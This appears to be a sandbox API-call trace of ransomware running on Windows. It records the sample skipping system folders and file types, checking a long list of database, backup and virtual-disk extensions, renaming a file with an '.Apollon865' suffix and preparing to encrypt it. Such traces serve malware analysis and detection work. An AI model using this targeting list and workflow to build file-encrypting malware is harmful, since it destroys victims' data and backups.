	[0078.160] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn", lpString2="perflogs") returned -1
	[0078.160] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn", lpString2="MSBuild") returned -1
	[0078.160] lstrlenW (lpString="MS.GRAPH.14.1033.hxn") returned 20
	[0078.160] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn") returned 58
	[0078.160] lstrcpyW (in: lpString1=0x119e64c, lpString2="MS.GRAPH.14.1033.hxn" | out: lpString1="MS.GRAPH.14.1033.hxn") returned="MS.GRAPH.14.1033.hxn"
	[0078.160] lstrlenW (lpString="MS.GRAPH.14.1033.hxn") returned 20
	[0078.160] lstrlenW (lpString="Apollon865") returned 10
	[0078.160] lstrcmpiW (lpString1="4.1033.hxn", lpString2="Apollon865") returned -1
	[0078.160] lstrlenW (lpString=".dll") returned 4
	[0078.160] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn", lpString2=".dll") returned 1
	[0078.160] lstrlenW (lpString=".lnk") returned 4
	[0078.160] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn", lpString2=".lnk") returned 1
	[0078.160] lstrlenW (lpString=".ini") returned 4
	[0078.160] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn", lpString2=".ini") returned 1
	[0078.160] lstrlenW (lpString=".sys") returned 4
	[0078.160] lstrcmpiW (lpString1="MS.GRAPH.14.1033.hxn", lpString2=".sys") returned 1
	[0078.161] lstrlenW (lpString="MS.GRAPH.14.1033.hxn") returned 20
	[0078.161] lstrlenW (lpString="bak") returned 3
	[0078.161] lstrcmpiW (lpString1="hxn", lpString2="bak") returned 1
	[0078.161] lstrlenW (lpString="ba_") returned 3
	[0078.161] lstrcmpiW (lpString1="hxn", lpString2="ba_") returned 1
	[0078.161] lstrlenW (lpString="dbb") returned 3
	[0078.161] lstrcmpiW (lpString1="hxn", lpString2="dbb") returned 1
	[0078.161] lstrlenW (lpString="vmdk") returned 4
	[0078.161] lstrcmpiW (lpString1=".hxn", lpString2="vmdk") returned -1
	[0078.161] lstrlenW (lpString="rar") returned 3
	[0078.161] lstrcmpiW (lpString1="hxn", lpString2="rar") returned -1
	[0078.161] lstrlenW (lpString="zip") returned 3
	[0078.161] lstrcmpiW (lpString1="hxn", lpString2="zip") returned -1
	[0078.161] lstrlenW (lpString="tgz") returned 3
	[0078.161] lstrcmpiW (lpString1="hxn", lpString2="tgz") returned -1
	[0078.161] lstrlenW (lpString="vbox") returned 4
	[0078.161] lstrcmpiW (lpString1=".hxn", lpString2="vbox") returned -1
	[0078.161] lstrlenW (lpString="vdi") returned 3
	[0078.161] lstrcmpiW (lpString1="hxn", lpString2="vdi") returned -1
	[0078.161] lstrlenW (lpString="vhd") returned 3
	[0078.161] lstrcmpiW (lpString1="hxn", lpString2="vhd") returned -1
	[0078.161] lstrlenW (lpString="vhdx") returned 4
	[0078.161] lstrcmpiW (lpString1=".hxn", lpString2="vhdx") returned -1
	[0078.161] lstrlenW (lpString="avhd") returned 4
	[0078.161] lstrcmpiW (lpString1=".hxn", lpString2="avhd") returned -1
	[0078.161] lstrlenW (lpString="db") returned 2
	[0078.161] lstrcmpiW (lpString1="xn", lpString2="db") returned 1
	[0078.161] lstrlenW (lpString="db2") returned 3
	[0078.161] lstrcmpiW (lpString1="hxn", lpString2="db2") returned 1
	[0078.161] lstrlenW (lpString="db3") returned 3
	[0078.161] lstrcmpiW (lpString1="hxn", lpString2="db3") returned 1
	[0078.162] lstrlenW (lpString="dbf") returned 3
	[0078.162] lstrcmpiW (lpString1="hxn", lpString2="dbf") returned 1
	[0078.162] lstrlenW (lpString="mdf") returned 3
	[0078.163] lstrcmpiW (lpString1="hxn", lpString2="mdf") returned -1
	[0078.163] lstrlenW (lpString="mdb") returned 3
	[0078.163] lstrcmpiW (lpString1="hxn", lpString2="mdb") returned -1
	[0078.163] lstrlenW (lpString="sql") returned 3
	[0078.163] lstrcmpiW (lpString1="hxn", lpString2="sql") returned -1
	[0078.163] lstrlenW (lpString="sqlite") returned 6
	[0078.163] lstrcmpiW (lpString1="33.hxn", lpString2="sqlite") returned -1
	[0078.163] lstrlenW (lpString="sqlite3") returned 7
	[0078.163] lstrcmpiW (lpString1="033.hxn", lpString2="sqlite3") returned -1
	[0078.163] lstrlenW (lpString="sqlitedb") returned 8
	[0078.163] lstrcmpiW (lpString1="1033.hxn", lpString2="sqlitedb") returned -1
	[0078.163] lstrlenW (lpString="xml") returned 3
	[0078.163] lstrcmpiW (lpString1="hxn", lpString2="xml") returned -1
	[0078.163] lstrlenW (lpString="$er") returned 3
	[0078.163] lstrcmpiW (lpString1="hxn", lpString2="$er") returned 1
	[0078.163] lstrlenW (lpString="4dd") returned 3
	[0078.163] lstrcmpiW (lpString1="hxn", lpString2="4dd") returned 1
	[0078.163] lstrlenW (lpString="4dl") returned 3
	[0078.163] lstrcmpiW (lpString1="hxn", lpString2="4dl") returned 1
	[0078.163] lstrlenW (lpString="^^^") returned 3
	[0078.163] lstrcmpiW (lpString1="hxn", lpString2="^^^") returned 1
	[0078.163] lstrlenW (lpString="abs") returned 3
	[0078.163] lstrcmpiW (lpString1="hxn", lpString2="abs") returned 1
	[0078.163] lstrlenW (lpString="abx") returned 3
	[0078.163] lstrcmpiW (lpString1="hxn", lpString2="abx") returned 1
	[0078.163] lstrlenW (lpString="accdb") returned 5
	[0078.163] lstrcmpiW (lpString1="3.hxn", lpString2="accdb") returned -1
	[0078.163] lstrlenW (lpString="accdc") returned 5
	[0078.163] lstrcmpiW (lpString1="3.hxn", lpString2="accdc") returned -1
	[0078.163] lstrlenW (lpString="accde") returned 5
	[0078.163] lstrcmpiW (lpString1="3.hxn", lpString2="accde") returned -1
	[0078.163] lstrlenW (lpString="accdr") returned 5
	[0078.163] lstrcmpiW (lpString1="3.hxn", lpString2="accdr") returned -1
	[0078.163] lstrlenW (lpString="accdt") returned 5
	[0078.163] lstrcmpiW (lpString1="3.hxn", lpString2="accdt") returned -1
	[0078.163] lstrlenW (lpString="accdw") returned 5
	[0078.163] lstrcmpiW (lpString1="3.hxn", lpString2="accdw") returned -1
	[0078.163] lstrlenW (lpString="accft") returned 5
	[0078.164] lstrcmpiW (lpString1="3.hxn", lpString2="accft") returned -1
	[0078.164] lstrlenW (lpString="adb") returned 3
	[0078.164] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1
	[0078.164] lstrlenW (lpString="adb") returned 3
	[0078.164] lstrcmpiW (lpString1="hxn", lpString2="adb") returned 1
	[0078.164] lstrlenW (lpString="ade") returned 3
	[0078.164] lstrcmpiW (lpString1="hxn", lpString2="ade") returned 1
	[0078.164] lstrlenW (lpString="adf") returned 3
	[0078.164] lstrcmpiW (lpString1="hxn", lpString2="adf") returned 1
	[0078.164] lstrlenW (lpString="adn") returned 3
	[0078.164] lstrcmpiW (lpString1="hxn", lpString2="adn") returned 1
	[0078.164] lstrlenW (lpString="adp") returned 3
	[0078.164] lstrcmpiW (lpString1="hxn", lpString2="adp") returned 1
	[0078.164] lstrlenW (lpString="alf") returned 3
	[0078.164] lstrcmpiW (lpString1="hxn", lpString2="alf") returned 1
	[0078.164] lstrlenW (lpString="ask") returned 3
	[0078.164] lstrcmpiW (lpString1="hxn", lpString2="ask") returned 1
	[0078.164] lstrlenW (lpString="btr") returned 3
	[0078.164] lstrcmpiW (lpString1="hxn", lpString2="btr") returned 1
	[0078.164] lstrlenW (lpString="cat") returned 3
	[0078.164] lstrcmpiW (lpString1="hxn", lpString2="cat") returned 1
	[0078.164] lstrlenW (lpString="cdb") returned 3
	[0078.164] lstrcmpiW (lpString1="hxn", lpString2="cdb") returned 1
	[0078.164] lstrlenW (lpString="ckp") returned 3
	[0078.164] lstrcmpiW (lpString1="hxn", lpString2="ckp") returned 1
	[0078.164] lstrlenW (lpString="cma") returned 3
	[0078.164] lstrcmpiW (lpString1="hxn", lpString2="cma") returned 1
	[0078.164] lstrlenW (lpString="cpd") returned 3
	[0078.164] lstrcmpiW (lpString1="hxn", lpString2="cpd") returned 1
	[0078.164] lstrlenW (lpString="dacpac") returned 6
	[0078.164] lstrcmpiW (lpString1="33.hxn", lpString2="dacpac") returned -1
	[0078.164] lstrlenW (lpString="dad") returned 3
	[0078.164] lstrcmpiW (lpString1="hxn", lpString2="dad") returned 1
	[0078.164] lstrlenW (lpString="dadiagrams") returned 10
	[0078.164] lstrcmpiW (lpString1="4.1033.hxn", lpString2="dadiagrams") returned -1
	[0078.164] lstrlenW (lpString="daschema") returned 8
	[0078.164] lstrcmpiW (lpString1="1033.hxn", lpString2="daschema") returned -1
	[0078.164] lstrlenW (lpString="db-journal") returned 10
	[0078.165] lstrcmpiW (lpString1="4.1033.hxn", lpString2="db-journal") returned -1
	[0078.165] lstrlenW (lpString="db-shm") returned 6
	[0078.165] lstrcmpiW (lpString1="33.hxn", lpString2="db-shm") returned -1
	[0078.165] lstrlenW (lpString="db-wal") returned 6
	[0078.165] lstrcmpiW (lpString1="33.hxn", lpString2="db-wal") returned -1
	[0078.165] lstrlenW (lpString="dbc") returned 3
	[0078.165] lstrcmpiW (lpString1="hxn", lpString2="dbc") returned 1
	[0078.165] lstrlenW (lpString="dbs") returned 3
	[0078.165] lstrcmpiW (lpString1="hxn", lpString2="dbs") returned 1
	[0078.165] lstrlenW (lpString="dbt") returned 3
	[0078.165] lstrcmpiW (lpString1="hxn", lpString2="dbt") returned 1
	[0078.165] lstrlenW (lpString="dbv") returned 3
	[0078.165] lstrcmpiW (lpString1="hxn", lpString2="dbv") returned 1
	[0078.165] lstrlenW (lpString="dbx") returned 3
	[0078.165] lstrcmpiW (lpString1="hxn", lpString2="dbx") returned 1
	[0078.165] lstrlenW (lpString="dcb") returned 3
	[0078.165] lstrcmpiW (lpString1="hxn", lpString2="dcb") returned 1
	[0078.165] lstrlenW (lpString="dct") returned 3
	[0078.165] lstrcmpiW (lpString1="hxn", lpString2="dct") returned 1
	[0078.165] lstrlenW (lpString="dcx") returned 3
	[0078.165] lstrcmpiW (lpString1="hxn", lpString2="dcx") returned 1
	[0078.165] lstrlenW (lpString="ddl") returned 3
	[0078.165] lstrcmpiW (lpString1="hxn", lpString2="ddl") returned 1
	[0078.165] lstrlenW (lpString="dlis") returned 4
	[0078.165] lstrcmpiW (lpString1=".hxn", lpString2="dlis") returned -1
	[0078.165] lstrlenW (lpString="dp1") returned 3
	[0078.165] lstrcmpiW (lpString1="hxn", lpString2="dp1") returned 1
	[0078.165] lstrlenW (lpString="dqy") returned 3
	[0078.165] lstrcmpiW (lpString1="hxn", lpString2="dqy") returned 1
	[0078.165] lstrlenW (lpString="dsk") returned 3
	[0078.165] lstrcmpiW (lpString1="hxn", lpString2="dsk") returned 1
	[0078.165] lstrlenW (lpString="dsn") returned 3
	[0078.165] lstrcmpiW (lpString1="hxn", lpString2="dsn") returned 1
	[0078.165] lstrlenW (lpString="dtsx") returned 4
	[0078.165] lstrcmpiW (lpString1=".hxn", lpString2="dtsx") returned -1
	[0078.165] lstrlenW (lpString="dxl") returned 3
	[0078.165] lstrcmpiW (lpString1="hxn", lpString2="dxl") returned 1
	[0078.166] lstrlenW (lpString="eco") returned 3
	[0078.166] lstrcmpiW (lpString1="hxn", lpString2="eco") returned 1
	[0078.166] lstrlenW (lpString="ecx") returned 3
	[0078.166] lstrcmpiW (lpString1="hxn", lpString2="ecx") returned 1
	[0078.166] lstrlenW (lpString="edb") returned 3
	[0078.166] lstrcmpiW (lpString1="hxn", lpString2="edb") returned 1
	[0078.166] lstrlenW (lpString="epim") returned 4
	[0078.166] lstrcmpiW (lpString1=".hxn", lpString2="epim") returned -1
	[0078.166] lstrlenW (lpString="fcd") returned 3
	[0078.166] lstrcmpiW (lpString1="hxn", lpString2="fcd") returned 1
	[0078.166] lstrlenW (lpString="fdb") returned 3
	[0078.166] lstrcmpiW (lpString1="hxn", lpString2="fdb") returned 1
	[0078.166] lstrlenW (lpString="fic") returned 3
	[0078.166] lstrcmpiW (lpString1="hxn", lpString2="fic") returned 1
	[0078.166] lstrlenW (lpString="flexolibrary") returned 12
	[0078.166] lstrcmpiW (lpString1=".14.1033.hxn", lpString2="flexolibrary") returned -1
	[0078.166] lstrlenW (lpString="fm5") returned 3
	[0078.166] lstrcmpiW (lpString1="hxn", lpString2="fm5") returned 1
	[0078.166] lstrlenW (lpString="fmp") returned 3
	[0078.166] lstrcmpiW (lpString1="hxn", lpString2="fmp") returned 1
	[0078.166] lstrlenW (lpString="fmp12") returned 5
	[0078.166] lstrcmpiW (lpString1="3.hxn", lpString2="fmp12") returned -1
	[0078.166] lstrlenW (lpString="fmpsl") returned 5
	[0078.166] lstrcmpiW (lpString1="3.hxn", lpString2="fmpsl") returned -1
	[0078.166] lstrlenW (lpString="fol") returned 3
	[0078.166] lstrcmpiW (lpString1="hxn", lpString2="fol") returned 1
	[0078.166] lstrlenW (lpString="fp3") returned 3
	[0078.166] lstrcmpiW (lpString1="hxn", lpString2="fp3") returned 1
	[0078.166] lstrlenW (lpString="fp4") returned 3
	[0078.166] lstrcmpiW (lpString1="hxn", lpString2="fp4") returned 1
	[0078.166] lstrlenW (lpString="fp5") returned 3
	[0078.166] lstrcmpiW (lpString1="hxn", lpString2="fp5") returned 1
	[0078.166] lstrlenW (lpString="fp7") returned 3
	[0078.166] lstrcmpiW (lpString1="hxn", lpString2="fp7") returned 1
	[0078.166] lstrlenW (lpString="fpt") returned 3
	[0078.166] lstrcmpiW (lpString1="hxn", lpString2="fpt") returned 1
	[0078.167] lstrlenW (lpString="frm") returned 3
	[0078.167] lstrcmpiW (lpString1="hxn", lpString2="frm") returned 1
	[0078.167] lstrlenW (lpString="gdb") returned 3
	[0078.167] lstrcmpiW (lpString1="hxn", lpString2="gdb") returned 1
	[0078.167] lstrlenW (lpString="gdb") returned 3
	[0078.167] lstrcmpiW (lpString1="hxn", lpString2="gdb") returned 1
	[0078.167] lstrlenW (lpString="grdb") returned 4
	[0078.167] lstrcmpiW (lpString1=".hxn", lpString2="grdb") returned -1
	[0078.167] lstrlenW (lpString="gwi") returned 3
	[0078.167] lstrcmpiW (lpString1="hxn", lpString2="gwi") returned 1
	[0078.167] lstrlenW (lpString="hdb") returned 3
	[0078.167] lstrcmpiW (lpString1="hxn", lpString2="hdb") returned 1
	[0078.167] lstrlenW (lpString="his") returned 3
	[0078.167] lstrcmpiW (lpString1="hxn", lpString2="his") returned 1
	[0078.167] lstrlenW (lpString="ib") returned 2
	[0078.167] lstrcmpiW (lpString1="xn", lpString2="ib") returned 1
	[0078.167] lstrlenW (lpString="idb") returned 3
	[0078.167] lstrcmpiW (lpString1="hxn", lpString2="idb") returned -1
	[0078.167] lstrlenW (lpString="ihx") returned 3
	[0078.167] lstrcmpiW (lpString1="hxn", lpString2="ihx") returned -1
	[0078.167] lstrlenW (lpString="itdb") returned 4
	[0078.167] lstrcmpiW (lpString1=".hxn", lpString2="itdb") returned -1
	[0078.167] lstrlenW (lpString="itw") returned 3
	[0078.167] lstrcmpiW (lpString1="hxn", lpString2="itw") returned -1
	[0078.167] lstrlenW (lpString="jet") returned 3
	[0078.167] lstrcmpiW (lpString1="hxn", lpString2="jet") returned -1
	[0078.167] lstrlenW (lpString="jtx") returned 3
	[0078.167] lstrcmpiW (lpString1="hxn", lpString2="jtx") returned -1
	[0078.167] lstrlenW (lpString="kdb") returned 3
	[0078.167] lstrcmpiW (lpString1="hxn", lpString2="kdb") returned -1
	[0078.167] lstrlenW (lpString="kexi") returned 4
	[0078.167] lstrcmpiW (lpString1=".hxn", lpString2="kexi") returned -1
	[0078.167] lstrlenW (lpString="kexic") returned 5
	[0078.167] lstrcmpiW (lpString1="3.hxn", lpString2="kexic") returned -1
	[0078.167] lstrlenW (lpString="kexis") returned 5
	[0078.167] lstrcmpiW (lpString1="3.hxn", lpString2="kexis") returned -1
	[0078.167] lstrlenW (lpString="lgc") returned 3
	[0078.167] lstrcmpiW (lpString1="hxn", lpString2="lgc") returned -1
	[0078.167] lstrlenW (lpString="lwx") returned 3
	[0078.168] lstrcmpiW (lpString1="hxn", lpString2="lwx") returned -1
	[0078.168] lstrlenW (lpString="maf") returned 3
	[0078.168] lstrcmpiW (lpString1="hxn", lpString2="maf") returned -1
	[0078.168] lstrlenW (lpString="maq") returned 3
	[0078.168] lstrcmpiW (lpString1="hxn", lpString2="maq") returned -1
	[0078.168] lstrlenW (lpString="mar") returned 3
	[0078.168] lstrcmpiW (lpString1="hxn", lpString2="mar") returned -1
	[0078.168] lstrlenW (lpString="marshal") returned 7
	[0078.168] lstrcmpiW (lpString1="033.hxn", lpString2="marshal") returned -1
	[0078.168] lstrlenW (lpString="mas") returned 3
	[0078.168] lstrcmpiW (lpString1="hxn", lpString2="mas") returned -1
	[0078.168] lstrlenW (lpString="mav") returned 3
	[0078.168] lstrcmpiW (lpString1="hxn", lpString2="mav") returned -1
	[0078.168] lstrlenW (lpString="maw") returned 3
	[0078.168] lstrcmpiW (lpString1="hxn", lpString2="maw") returned -1
	[0078.168] lstrlenW (lpString="mdbhtml") returned 7
	[0078.168] lstrcmpiW (lpString1="033.hxn", lpString2="mdbhtml") returned -1
	[0078.168] lstrlenW (lpString="mdn") returned 3
	[0078.168] lstrcmpiW (lpString1="hxn", lpString2="mdn") returned -1
	[0078.168] lstrlenW (lpString="mdt") returned 3
	[0078.168] lstrcmpiW (lpString1="hxn", lpString2="mdt") returned -1
	[0078.168] lstrlenW (lpString="mfd") returned 3
	[0078.168] lstrcmpiW (lpString1="hxn", lpString2="mfd") returned -1
	[0078.168] lstrlenW (lpString="mpd") returned 3
	[0078.168] lstrcmpiW (lpString1="hxn", lpString2="mpd") returned -1
	[0078.168] lstrlenW (lpString="mrg") returned 3
	[0078.168] lstrcmpiW (lpString1="hxn", lpString2="mrg") returned -1
	[0078.168] lstrlenW (lpString="mud") returned 3
	[0078.168] lstrcmpiW (lpString1="hxn", lpString2="mud") returned -1
	[0078.168] lstrlenW (lpString="mwb") returned 3
	[0078.168] lstrcmpiW (lpString1="hxn", lpString2="mwb") returned -1
	[0078.168] lstrlenW (lpString="myd") returned 3
	[0078.168] lstrcmpiW (lpString1="hxn", lpString2="myd") returned -1
	[0078.168] lstrlenW (lpString="ndf") returned 3
	[0078.168] lstrcmpiW (lpString1="hxn", lpString2="ndf") returned -1
	[0078.168] lstrlenW (lpString="nnt") returned 3
	[0078.168] lstrcmpiW (lpString1="hxn", lpString2="nnt") returned -1
	[0078.168] lstrlenW (lpString="nrmlib") returned 6
	[0078.169] lstrcmpiW (lpString1="33.hxn", lpString2="nrmlib") returned -1
	[0078.169] lstrlenW (lpString="ns2") returned 3
	[0078.169] lstrcmpiW (lpString1="hxn", lpString2="ns2") returned -1
	[0078.169] lstrlenW (lpString="ns3") returned 3
	[0078.169] lstrcmpiW (lpString1="hxn", lpString2="ns3") returned -1
	[0078.169] lstrlenW (lpString="ns4") returned 3
	[0078.169] lstrcmpiW (lpString1="hxn", lpString2="ns4") returned -1
	[0078.169] lstrlenW (lpString="nsf") returned 3
	[0078.169] lstrcmpiW (lpString1="hxn", lpString2="nsf") returned -1
	[0078.169] lstrlenW (lpString="nv") returned 2
	[0078.169] lstrcmpiW (lpString1="xn", lpString2="nv") returned 1
	[0078.169] lstrlenW (lpString="nv2") returned 3
	[0078.169] lstrcmpiW (lpString1="hxn", lpString2="nv2") returned -1
	[0078.169] lstrlenW (lpString="nwdb") returned 4
	[0078.169] lstrcmpiW (lpString1=".hxn", lpString2="nwdb") returned -1
	[0078.169] lstrlenW (lpString="nyf") returned 3
	[0078.169] lstrcmpiW (lpString1="hxn", lpString2="nyf") returned -1
	[0078.169] lstrlenW (lpString="odb") returned 3
	[0078.169] lstrcmpiW (lpString1="hxn", lpString2="odb") returned -1
	[0078.169] lstrlenW (lpString="odb") returned 3
	[0078.169] lstrcmpiW (lpString1="hxn", lpString2="odb") returned -1
	[0078.169] lstrlenW (lpString="oqy") returned 3
	[0078.169] lstrcmpiW (lpString1="hxn", lpString2="oqy") returned -1
	[0078.169] lstrlenW (lpString="ora") returned 3
	[0078.169] lstrcmpiW (lpString1="hxn", lpString2="ora") returned -1
	[0078.169] lstrlenW (lpString="orx") returned 3
	[0078.169] lstrcmpiW (lpString1="hxn", lpString2="orx") returned -1
	[0078.169] lstrlenW (lpString="owc") returned 3
	[0078.169] lstrcmpiW (lpString1="hxn", lpString2="owc") returned -1
	[0078.169] lstrlenW (lpString="p96") returned 3
	[0078.169] lstrcmpiW (lpString1="hxn", lpString2="p96") returned -1
	[0078.169] lstrlenW (lpString="p97") returned 3
	[0078.169] lstrcmpiW (lpString1="hxn", lpString2="p97") returned -1
	[0078.169] lstrlenW (lpString="pan") returned 3
	[0078.169] lstrcmpiW (lpString1="hxn", lpString2="pan") returned -1
	[0078.169] lstrlenW (lpString="pdb") returned 3
	[0078.169] lstrcmpiW (lpString1="hxn", lpString2="pdb") returned -1
	[0078.170] lstrlenW (lpString="pdm") returned 3
	[0078.170] lstrcmpiW (lpString1="hxn", lpString2="pdm") returned -1
	[0078.170] lstrlenW (lpString="pnz") returned 3
	[0078.170] lstrcmpiW (lpString1="hxn", lpString2="pnz") returned -1
	[0078.170] lstrlenW (lpString="qry") returned 3
	[0078.170] lstrcmpiW (lpString1="hxn", lpString2="qry") returned -1
	[0078.170] lstrlenW (lpString="qvd") returned 3
	[0078.170] lstrcmpiW (lpString1="hxn", lpString2="qvd") returned -1
	[0078.170] lstrlenW (lpString="rbf") returned 3
	[0078.170] lstrcmpiW (lpString1="hxn", lpString2="rbf") returned -1
	[0078.170] lstrlenW (lpString="rctd") returned 4
	[0078.170] lstrcmpiW (lpString1=".hxn", lpString2="rctd") returned -1
	[0078.170] lstrlenW (lpString="rod") returned 3
	[0078.170] lstrcmpiW (lpString1="hxn", lpString2="rod") returned -1
	[0078.170] lstrlenW (lpString="rodx") returned 4
	[0078.170] lstrcmpiW (lpString1=".hxn", lpString2="rodx") returned -1
	[0078.170] lstrlenW (lpString="rpd") returned 3
	[0078.170] lstrcmpiW (lpString1="hxn", lpString2="rpd") returned -1
	[0078.170] lstrlenW (lpString="rsd") returned 3
	[0078.170] lstrcmpiW (lpString1="hxn", lpString2="rsd") returned -1
	[0078.170] lstrlenW (lpString="sas7bdat") returned 8
	[0078.170] lstrcmpiW (lpString1="1033.hxn", lpString2="sas7bdat") returned -1
	[0078.170] lstrlenW (lpString="sbf") returned 3
	[0078.170] lstrcmpiW (lpString1="hxn", lpString2="sbf") returned -1
	[0078.170] lstrlenW (lpString="scx") returned 3
	[0078.170] lstrcmpiW (lpString1="hxn", lpString2="scx") returned -1
	[0078.170] lstrlenW (lpString="sdb") returned 3
	[0078.170] lstrcmpiW (lpString1="hxn", lpString2="sdb") returned -1
	[0078.170] lstrlenW (lpString="sdc") returned 3
	[0078.170] lstrcmpiW (lpString1="hxn", lpString2="sdc") returned -1
	[0078.170] lstrlenW (lpString="sdf") returned 3
	[0078.170] lstrcmpiW (lpString1="hxn", lpString2="sdf") returned -1
	[0078.170] lstrlenW (lpString="sis") returned 3
	[0078.170] lstrcmpiW (lpString1="hxn", lpString2="sis") returned -1
	[0078.170] lstrlenW (lpString="spq") returned 3
	[0078.170] lstrcmpiW (lpString1="hxn", lpString2="spq") returned -1
	[0078.170] lstrlenW (lpString="te") returned 2
	[0078.171] lstrcmpiW (lpString1="xn", lpString2="te") returned 1
	[0078.171] lstrlenW (lpString="teacher") returned 7
	[0078.171] lstrcmpiW (lpString1="033.hxn", lpString2="teacher") returned -1
	[0078.171] lstrlenW (lpString="tmd") returned 3
	[0078.171] lstrcmpiW (lpString1="hxn", lpString2="tmd") returned -1
	[0078.171] lstrlenW (lpString="tps") returned 3
	[0078.171] lstrcmpiW (lpString1="hxn", lpString2="tps") returned -1
	[0078.171] lstrlenW (lpString="trc") returned 3
	[0078.171] lstrcmpiW (lpString1="hxn", lpString2="trc") returned -1
	[0078.171] lstrlenW (lpString="trc") returned 3
	[0078.171] lstrcmpiW (lpString1="hxn", lpString2="trc") returned -1
	[0078.171] lstrlenW (lpString="trm") returned 3
	[0078.171] lstrcmpiW (lpString1="hxn", lpString2="trm") returned -1
	[0078.171] lstrlenW (lpString="udb") returned 3
	[0078.171] lstrcmpiW (lpString1="hxn", lpString2="udb") returned -1
	[0078.171] lstrlenW (lpString="udl") returned 3
	[0078.171] lstrcmpiW (lpString1="hxn", lpString2="udl") returned -1
	[0078.171] lstrlenW (lpString="usr") returned 3
	[0078.171] lstrcmpiW (lpString1="hxn", lpString2="usr") returned -1
	[0078.171] lstrlenW (lpString="v12") returned 3
	[0078.171] lstrcmpiW (lpString1="hxn", lpString2="v12") returned -1
	[0078.171] lstrlenW (lpString="vis") returned 3
	[0078.171] lstrcmpiW (lpString1="hxn", lpString2="vis") returned -1
	[0078.171] lstrlenW (lpString="vpd") returned 3
	[0078.171] lstrcmpiW (lpString1="hxn", lpString2="vpd") returned -1
	[0078.171] lstrlenW (lpString="vvv") returned 3
	[0078.171] lstrcmpiW (lpString1="hxn", lpString2="vvv") returned -1
	[0078.171] lstrlenW (lpString="wdb") returned 3
	[0078.171] lstrcmpiW (lpString1="hxn", lpString2="wdb") returned -1
	[0078.171] lstrlenW (lpString="wmdb") returned 4
	[0078.171] lstrcmpiW (lpString1=".hxn", lpString2="wmdb") returned -1
	[0078.171] lstrlenW (lpString="wrk") returned 3
	[0078.171] lstrcmpiW (lpString1="hxn", lpString2="wrk") returned -1
	[0078.171] lstrlenW (lpString="xdb") returned 3
	[0078.171] lstrcmpiW (lpString1="hxn", lpString2="xdb") returned -1
	[0078.171] lstrlenW (lpString="xld") returned 3
	[0078.171] lstrcmpiW (lpString1="hxn", lpString2="xld") returned -1
	[0078.171] lstrlenW (lpString="xmlff") returned 5
	[0078.172] lstrcmpiW (lpString1="3.hxn", lpString2="xmlff") returned -1
	[0078.172] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft Help\\MS.GRAPH.14.1033.hxn.Apollon865") returned 65
	[0078.172] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft Help\\MS.GRAPH.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.graph.14.1033.hxn"), lpNewFileName="C:\\Users\\All Users\\Microsoft Help\\MS.GRAPH.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.graph.14.1033.hxn.apollon865"), dwFlags=0x1) returned 1
	[0078.174] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.GRAPH.14.1033.hxn.Apollon865" (normalized: "c:\\users\\all users\\microsoft help\\ms.graph.14.1033.hxn.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0078.174] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=326) returned 1
	[0078.174] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0078.174] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0078.174] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bfc50
	[0078.174] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0078.175] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0078.175] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0078.175] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x450, lpName=0x0) returned 0x10c
	[0078.177] MapViewOfFile (hFileMappingObject=0x10c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x450) returned 0x120000
	[0078.178] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0078.179] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0078.179] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0078.179] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0078.179] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0078.179] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.179] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.179] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.179] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0b18
	[0078.179] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0078.179] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0b18 | out: hHeap=0x580000) returned 1
	[0078.179] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
